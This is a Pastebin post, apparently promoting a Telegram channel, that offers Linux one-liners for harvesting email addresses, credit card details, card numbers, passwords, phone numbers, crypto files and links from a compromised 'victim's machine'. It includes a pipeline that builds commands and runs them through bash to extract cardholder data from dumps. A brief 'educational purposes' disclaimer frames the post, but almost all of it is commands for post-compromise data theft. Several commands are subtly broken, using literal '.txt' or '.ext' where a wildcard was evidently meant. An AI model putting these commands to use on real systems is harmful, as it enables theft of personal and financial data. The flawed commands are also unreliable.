Advertisement
efxtv

Information gathering using Linux commands

Jan 26th, 2024 (edited)
154
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.20 KB | Cybersecurity | 0 0
  1. Hello there! 👋 Are you curious about how hackers extract email lists and other sensitive information from your system without manually searching directories one by one? Let’s dive into how automated scripts can help gather email lists and useful information from a victim's machine.
  2.  
  3. 🚨 ⚠️ Disclaimer: This post is for educational purposes only. The intent is to raise awareness about potential security vulnerabilities and to help you protect your own systems. Unauthorized access to computer systems is illegal and unethical. Always seek permission before testing or analyzing any systems that you do not own.
  4.  
  5. You’ll need a Linux shell with network connectivity and an initial foothold on the target machine. Due to limitations, we cannot share videos here (we never evade Telegram T&C in any situation).
  6.  
  7. Telegram POST***************************************
  8. https://t.me/efxtv2/3729
  9. ****************************************************
  10. ⭐️ Email (Unsorted Form):
  11. grep -Re "[a-zA-Z0-9._]\+@[a-zA-Z]\+\.[a-zA-Z]\+" > saved.txt
  12. grep -E -o '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,6}' .txt
  13.  
  14.  
  15. ⭐️ Grep Emails Only:
  16. grep -oe "[a-zA-Z0-9._]\+@[a-zA-Z]\+\.[a-zA-Z]\+" saved.txt
  17.  
  18.  
  19. ⭐️ Unique Emails:
  20. cat saved.txt | sort -u
  21.  
  22.  
  23. ⭐️ Get Cards from Dump:
  24. clear; grep -R Expire: > credit.txt
  25.  
  26.  
  27. ⭐️ Final Card Details:
  28. cat credit.txt | sed 's#:Expire:##g' | awk '{print "cat \""$1"\""}' | bash | grep -A4 'Holder:' > cc.txt
  29.  
  30.  
  31. ⭐️ Search for Debit Card Numbers (Assuming 16-digit numbers):
  32. grep -E -o '\b[0-9]{4}([- ]?[0-9]{4}){3}\b' .txt
  33.  
  34.  
  35. ⭐️ Search for Social Media User Passwords (Common Patterns):
  36. grep -E -i 'password[:= ]+[^ ]+' .txt
  37.  
  38.  
  39. ⭐️ Search for `.ext` Crypto Files:
  40. find . -type f -name '.ext'
  41.  
  42.  
  43. ⭐️ Another Method for Searching Emails Using `find`:
  44. find . -type f -name '.txt' -exec grep -E -o '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,6}' {} +
  45.  
  46.  
  47. ⭐️ Find phone numbers
  48. grep -oE '\b[0-9]{3}[-.]?[0-9]{3}[-.]?[0-9]{4}\b' .txt
  49.  
  50.  
  51. ⭐️ Various Ways to Fetch All HTTP and HTTPS Links from a Directory:
  52. find . -type f -name '.txt' -exec grep -Eo 'http[s]?://[^ ]+' {} + > found_links.txt
  53. grep -Ero 'http[s]?://[^ ]+' ./.txt > found_links.txt
  54. find . -type f -name '.txt' | xargs grep -Eo 'http[s]?://[^ ]+' > found_links.txt
  55. find . -type f -name '.txt' -exec egrep -o 'http[s]?://[^ ]+' {} + > found_links.txt
  56. find . -type f -name '.txt' -exec grep -Eo 'http[s]?://[^ ]+' {} + | awk '{print $0}' > found_links.txt
  57. find . -type f -name '.txt' | while read file; do grep -Eo 'http[s]?://[^ ]+' "$file"; done > found_links.txt
  58.  
  59.  
  60. That's all for now, folks! 🎉 We've explored some fascinating techniques for gathering information, but remember, with great power comes great responsibility. Always use your newfound knowledge ethically and responsibly.
  61.  
  62. Keep learning, stay curious, and stay safe out there! 💡 If you found this post helpful, don't forget to share it with your friends and colleagues.
  63.  
  64. Until next time, happy hacking! 😉🔒
  65.  
  66. ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  67. ♥️ Telegram Channel - @efxtv 🏮
  68. ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  69.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement